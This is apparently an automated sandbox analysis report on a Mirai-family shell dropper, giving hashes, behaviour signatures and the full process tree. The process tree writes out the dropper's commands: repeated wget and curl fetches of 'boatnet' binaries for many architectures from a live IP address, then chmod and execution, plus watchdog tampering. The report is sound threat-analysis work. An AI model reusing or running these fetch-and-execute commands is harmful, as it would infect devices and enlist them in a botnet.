Analysis
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max time kernel
149s -
max time network
139s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240611-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
18-02-2025 04:12
Static task
static1
Behavioral task
behavioral1
Sample
ohshit.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
ohshit.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
ohshit.sh
Resource
debian9-mipsbe-20240611-en
General
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Target
ohshit.sh
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Size
2KB
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MD5
32774e26d02b3c1b8e5c9bf8b5992be0
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SHA1
ad7e3cdf5913a6397e51fc0570e99e3f2b5cd2c6
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SHA256
84169b3c5a219018f397eceb2023846b9f47f0931c447422fc09396a79f40535
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SHA512
e00b5a106b8c6529679e10323802c998316e4e6240659a239b7680344ee860e457d8d3274de7d88ee4afb14b6b465651d8944b8bb8ab9c805ad74111c007f0ba
Malware Config
Extracted
mirai
LZRD
Extracted
mirai
LZRD
Extracted
mirai
LZRD
Signatures
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Mirai family
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File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 791 chmod 857 chmod 895 chmod 901 chmod 740 chmod 746 chmod 812 chmod 877 chmod 889 chmod 754 chmod 772 chmod 820 chmod 826 chmod 832 chmod 883 chmod -
Executes dropped EXE 15 IoCs
ioc pid Process /tmp/WTF 741 ohshit.sh /tmp/WTF 747 ohshit.sh /tmp/WTF 755 ohshit.sh /tmp/WTF 773 ohshit.sh /tmp/WTF 792 ohshit.sh /tmp/WTF 814 ohshit.sh /tmp/WTF 821 ohshit.sh /tmp/WTF 827 ohshit.sh /tmp/WTF 833 ohshit.sh /tmp/WTF 858 ohshit.sh /tmp/WTF 878 ohshit.sh /tmp/WTF 884 ohshit.sh /tmp/WTF 890 ohshit.sh /tmp/WTF 896 ohshit.sh /tmp/WTF 902 ohshit.sh -
Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF -
Writes file to system bin folder 2 IoCs
description ioc Process File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF -
resource yara_rule behavioral3/files/fstream-1.dat upx behavioral3/files/fstream-4.dat upx -
description ioc Process File opened for reading /proc/860/cmdline WTF File opened for reading /proc/702/cmdline WTF File opened for reading /proc/800/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/862/cmdline WTF File opened for reading /proc/868/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/886/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/768/cmdline WTF File opened for reading /proc/829/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/714/cmdline WTF File opened for reading /proc/815/cmdline WTF File opened for reading /proc/893/cmdline WTF File opened for reading /proc/750/cmdline WTF File opened for reading /proc/762/cmdline WTF File opened for reading /proc/869/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/824/cmdline WTF File opened for reading /proc/844/cmdline WTF File opened for reading /proc/881/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/785/cmdline WTF File opened for reading /proc/813/cmdline WTF File opened for reading /proc/846/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/803/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/899/cmdline WTF File opened for reading /proc/429/cmdline WTF File opened for reading /proc/703/cmdline WTF File opened for reading /proc/818/cmdline WTF File opened for reading /proc/679/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/837/cmdline WTF File opened for reading /proc/835/cmdline WTF File opened for reading /proc/686/cmdline WTF File opened for reading /proc/781/cmdline WTF File opened for reading /proc/830/cmdline WTF File opened for reading /proc/717/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/683/cmdline WTF File opened for reading /proc/707/cmdline WTF File opened for reading /proc/710/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/675/cmdline WTF File opened for reading /proc/685/cmdline WTF File opened for reading /proc/709/cmdline WTF File opened for reading /proc/851/cmdline WTF File opened for reading /proc/708/cmdline WTF File opened for reading /proc/798/cmdline WTF -
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 744 curl 745 cat 743 wget -
Writes file to tmp directory 28 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/WTF ohshit.sh File opened for modification /tmp/boatnet.mips wget File opened for modification /tmp/boatnet.sh4 curl File opened for modification /tmp/boatnet.x86 wget File opened for modification /tmp/boatnet.x86_64 curl File opened for modification /tmp/boatnet.arm5 curl File opened for modification /tmp/boatnet.arm7 curl File opened for modification /tmp/boatnet.ppc wget File opened for modification /tmp/boatnet.spc curl File opened for modification /tmp/boatnet.spc wget File opened for modification /tmp/boatnet.sh4 wget File opened for modification /tmp/boatnet.i686 curl File opened for modification /tmp/boatnet.arm5 wget File opened for modification /tmp/boatnet.arm6 curl File opened for modification /tmp/boatnet.arm curl File opened for modification /tmp/boatnet.m68k wget File opened for modification /tmp/boatnet.x86 curl File opened for modification /tmp/boatnet.mips curl File opened for modification /tmp/boatnet.mpsl curl File opened for modification /tmp/boatnet.arm wget File opened for modification /tmp/boatnet.arm7 wget File opened for modification /tmp/boatnet.arc curl File opened for modification /tmp/boatnet.mpsl wget File opened for modification /tmp/boatnet.arm6 wget File opened for modification /tmp/boatnet.m68k curl File opened for modification /tmp/boatnet.arc wget File opened for modification /tmp/boatnet.i468 curl File opened for modification /tmp/boatnet.ppc curl
Processes
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/tmp/ohshit.sh/tmp/ohshit.sh1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:710 -
/usr/bin/wgetwget http://196.251.87.222/hiddenbin/boatnet.x862⤵
- Writes file to tmp directory
PID:713
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/usr/bin/curlcurl -O http://196.251.87.222/hiddenbin/boatnet.x862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:737
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/bin/catcat boatnet.x862⤵PID:739
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/bin/chmodchmod +x boatnet.x86 ohshit.sh systemd-private-c9427e9946d644ce929081cb6c4047ec-systemd-timedated.service-zIrMUz WTF2⤵
- File and Directory Permissions Modification
PID:740
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/tmp/WTF./WTF2⤵PID:741
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/usr/bin/wgetwget http://196.251.87.222/hiddenbin/boatnet.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:743
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/usr/bin/curlcurl -O http://196.251.87.222/hiddenbin/boatnet.mips2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:744
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/bin/catcat boatnet.mips2⤵
- System Network Configuration Discovery
PID:745
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/bin/chmodchmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-c9427e9946d644ce929081cb6c4047ec-systemd-timedated.service-zIrMUz WTF2⤵
- File and Directory Permissions Modification
PID:746
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/tmp/WTF./WTF2⤵
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:747
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/usr/bin/wgetwget http://196.251.87.222/hiddenbin/boatnet.arc2⤵
- Writes file to tmp directory
PID:751
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/usr/bin/curlcurl -O http://196.251.87.222/hiddenbin/boatnet.arc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:752
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/bin/catcat boatnet.arc2⤵PID:753
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/bin/chmodchmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-c9427e9946d644ce929081cb6c4047ec-systemd-timedated.service-zIrMUz WTF2⤵
- File and Directory Permissions Modification
PID:754
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/tmp/WTF./WTF2⤵PID:755
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/usr/bin/wgetwget http://196.251.87.222/hiddenbin/boatnet.i4682⤵PID:757
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/usr/bin/curlcurl -O http://196.251.87.222/hiddenbin/boatnet.i4682⤵
- Reads runtime system information
- Writes file to tmp directory
PID:762
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/bin/catcat boatnet.i4682⤵PID:770
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/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh systemd-private-c9427e9946d644ce929081cb6c4047ec-systemd-timedated.service-zIrMUz WTF2⤵
- File and Directory Permissions Modification
PID:772
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/tmp/WTF./WTF2⤵PID:773
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/usr/bin/wgetwget http://196.251.87.222/hiddenbin/boatnet.i6862⤵PID:775
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/usr/bin/curlcurl -O http://196.251.87.222/hiddenbin/boatnet.i6862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:781
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/bin/catcat boatnet.i6862⤵PID:789
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/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh systemd-private-c9427e9946d644ce929081cb6c4047ec-systemd-timedated.service-zIrMUz WTF2⤵
- File and Directory Permissions Modification
PID:791
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/tmp/WTF./WTF2⤵PID:792
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/usr/bin/wgetwget http://196.251.87.222/hiddenbin/boatnet.x86_642⤵PID:793
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/usr/bin/curlcurl -O http://196.251.87.222/hiddenbin/boatnet.x86_642⤵
- Reads runtime system information
- Writes file to tmp directory
PID:800
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/bin/catcat boatnet.x86_642⤵PID:810
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/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-c9427e9946d644ce929081cb6c4047ec-systemd-timedated.service-zIrMUz WTF2⤵
- File and Directory Permissions Modification
PID:812
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/tmp/WTF./WTF2⤵PID:814
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/usr/bin/wgetwget http://196.251.87.222/hiddenbin/boatnet.mpsl2⤵
- Writes file to tmp directory
PID:815
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/usr/bin/curlcurl -O http://196.251.87.222/hiddenbin/boatnet.mpsl2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:818
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/bin/catcat boatnet.mpsl2⤵PID:819
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/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-c9427e9946d644ce929081cb6c4047ec-systemd-timedated.service-zIrMUz WTF2⤵
- File and Directory Permissions Modification
PID:820
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/tmp/WTF./WTF2⤵PID:821
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/usr/bin/wgetwget http://196.251.87.222/hiddenbin/boatnet.arm2⤵
- Writes file to tmp directory
PID:823
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/usr/bin/curlcurl -O http://196.251.87.222/hiddenbin/boatnet.arm2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:824
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/bin/catcat boatnet.arm2⤵PID:825
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/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-c9427e9946d644ce929081cb6c4047ec-systemd-timedated.service-zIrMUz WTF2⤵
- File and Directory Permissions Modification
PID:826
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/tmp/WTF./WTF2⤵PID:827
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/usr/bin/wgetwget http://196.251.87.222/hiddenbin/boatnet.arm52⤵
- Writes file to tmp directory
PID:829
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/usr/bin/curlcurl -O http://196.251.87.222/hiddenbin/boatnet.arm52⤵
- Reads runtime system information
- Writes file to tmp directory
PID:830
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/bin/catcat boatnet.arm52⤵PID:831
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/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-c9427e9946d644ce929081cb6c4047ec-systemd-timedated.service-zIrMUz WTF2⤵
- File and Directory Permissions Modification
PID:832
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/tmp/WTF./WTF2⤵PID:833
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/usr/bin/wgetwget http://196.251.87.222/hiddenbin/boatnet.arm62⤵
- Writes file to tmp directory
PID:835
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/usr/bin/curlcurl -O http://196.251.87.222/hiddenbin/boatnet.arm62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:846
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/bin/catcat boatnet.arm62⤵PID:855
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/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:857
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/tmp/WTF./WTF2⤵PID:858
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/usr/bin/wgetwget http://196.251.87.222/hiddenbin/boatnet.arm72⤵
- Writes file to tmp directory
PID:860
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/usr/bin/curlcurl -O http://196.251.87.222/hiddenbin/boatnet.arm72⤵
- Reads runtime system information
- Writes file to tmp directory
PID:869
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/bin/catcat boatnet.arm72⤵PID:876
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/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:877
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/tmp/WTF./WTF2⤵PID:878
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/usr/bin/wgetwget http://196.251.87.222/hiddenbin/boatnet.ppc2⤵
- Writes file to tmp directory
PID:880
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/usr/bin/curlcurl -O http://196.251.87.222/hiddenbin/boatnet.ppc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:881
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/bin/catcat boatnet.ppc2⤵PID:882
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/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:883
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/tmp/WTF./WTF2⤵PID:884
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/usr/bin/wgetwget http://196.251.87.222/hiddenbin/boatnet.spc2⤵
- Writes file to tmp directory
PID:886
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/usr/bin/curlcurl -O http://196.251.87.222/hiddenbin/boatnet.spc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:887
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/bin/catcat boatnet.spc2⤵PID:888
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/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:889
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/tmp/WTF./WTF2⤵PID:890
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/usr/bin/wgetwget http://196.251.87.222/hiddenbin/boatnet.m68k2⤵
- Writes file to tmp directory
PID:892
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/usr/bin/curlcurl -O http://196.251.87.222/hiddenbin/boatnet.m68k2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:893
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/bin/catcat boatnet.m68k2⤵PID:894
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/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:895
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/tmp/WTF./WTF2⤵PID:896
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/usr/bin/wgetwget http://196.251.87.222/hiddenbin/boatnet.sh42⤵
- Writes file to tmp directory
PID:898
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/usr/bin/curlcurl -O http://196.251.87.222/hiddenbin/boatnet.sh42⤵
- Reads runtime system information
- Writes file to tmp directory
PID:899
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/bin/catcat boatnet.sh42⤵PID:900
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/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:901
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/tmp/WTF./WTF2⤵PID:902
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
23KB
MD5cee6585e60fc85044c942cc41fc69eec
SHA1b2901dc34ac518fe5430af9ce827022846b95577
SHA2560445d12106a314074d4b96870742787452528196da68b67def54cc1d97a228cb
SHA512dc9d804e7dd048ba5305ba10758093f63fab453bac41b5a331ec157309c4e6feb8018f1fa82ad4f5167a3cc8063de3548b0e39c53802ab9aaf0325e82fc84cb8
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Filesize
105KB
MD54c125873f27e37b37d7c12452d507215
SHA1e08f8ab877b6abd87bfbee80347f0bbdba93bed0
SHA25635e1279abdbf2bee230f3aeb00f8412136da9638cda2c2908e056a6072c3e69c
SHA51220017ce619089512f4ef09ec2e73ca1a322b797f9751b6829a515a4cb1b4dde6799197dd70bc01805cb333cbf944adb489eb0203d78a7e0080d66d2aa3041ca6
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Filesize
220B
MD5f1c24d9fa40a047ae22d2d3ae7dfeac9
SHA1750274b02d5f5b00026a4f55b020f4285c693533
SHA256219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc
SHA51236bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259
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Filesize
220B
MD5a8f502a6fb3b7b940e922c951d9e493a
SHA1fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf
SHA256748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec
SHA512e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338
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Filesize
57KB
MD5a1870420c700ebc5d888818a29c802de
SHA14db6780a1e145360a2b1eb4bfd86651f9b6df5b9
SHA256ea80cc6170eaada0e2fdb09a2c509a1b5646371e420066e88f8515974c922b99
SHA51220c586583f6cacb05c49ee0e5691d499797f4e78203f77be0fc9ee784e74a4e70754ee505e3614b6b04ebec6cb683e48228925892bd45e002779d425b979582f
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Filesize
20KB
MD596f3a4c996750d9f2254cc55883c2ee4
SHA1985d2163502ffe96c88c2c578cb9205c6140947a
SHA256984e3565cdf897a62523a6776c16835634be7312a415d8c36c56ce14545539d7
SHA5126b29d2fa53cc5a912372da02c52e69fd440494cf84054adaa45d8a2d5600e514e9b0ce5a56f417de7df698de3e52e2b2800561be15b6e6e7da67bd6f5d00a7e1